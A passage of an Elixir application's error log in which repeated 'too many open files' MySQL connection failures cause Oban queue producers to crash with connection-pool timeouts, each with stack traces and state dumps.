    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:35:03.255282Z], limit: 5, uuid: "c1dea84e-6a6e-48ac-b21f-d6e753fdbf39", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:18.973374Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.79774>, refresh_timer: #Reference<0.2525715032.1121189889.78882>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:46.353000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:48.997000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:50.366000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:54.011000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:56.884000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:57.005000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:35:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:35:46.240490Z], limit: 5, uuid: "d19b8555-7b4e-4f34-9db5-f930b48c9f89", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:46.240497Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.80226>, refresh_timer: #Reference<0.2525715032.1077411843.202768>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:58.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:35:46.241124Z], limit: 50, uuid: "c9b7f79c-47d3-477d-8e6f-d5bbbb100101", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:46.241131Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.80224>, refresh_timer: #Reference<0.2525715032.1099169794.235084>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:35:46.242191Z], limit: 5, uuid: "433ee17d-70c8-48f1-aaa2-34c6e4fbc497", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:46.242196Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.80227>, refresh_timer: #Reference<0.2525715032.1077411843.202797>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:58.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:35:46.240831Z], limit: 20, uuid: "47db747f-e9d1-4f23-aafd-da2dc7f1be92", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:46.240836Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.80225>, refresh_timer: #Reference<0.2525715032.1077411843.202784>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 884ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:35:46.241755Z], limit: 10, uuid: "a04bd267-ec94-4c89-9f66-be6c039f3b28", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:46.241761Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.80223>, refresh_timer: #Reference<0.2525715032.1121189889.80204>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:35:58.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:35:46.240681Z], limit: 3, uuid: "491eb6e5-f7b1-4542-9447-0b3db6c28f50", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:46.240686Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.80228>, refresh_timer: #Reference<0.2525715032.1077411843.202776>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:03.188000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:04.326000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:06.719000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:07.967000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:09.380000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:09.638000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:36:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:35:58.242647Z], limit: 3, uuid: "42d435c8-2ca6-47a0-b9cd-e5b68e78e924", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:58.242652Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.80536>, refresh_timer: #Reference<0.2525715032.1099169794.235244>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:36:10.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:35:58.241069Z], limit: 5, uuid: "03f3cc86-c15f-419e-aa30-f9e617a93989", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:35:58.241075Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.80538>, refresh_timer: #Reference<0.2525715032.1068236804.229181>, dispatch_cooldown: 5, running: %{}}
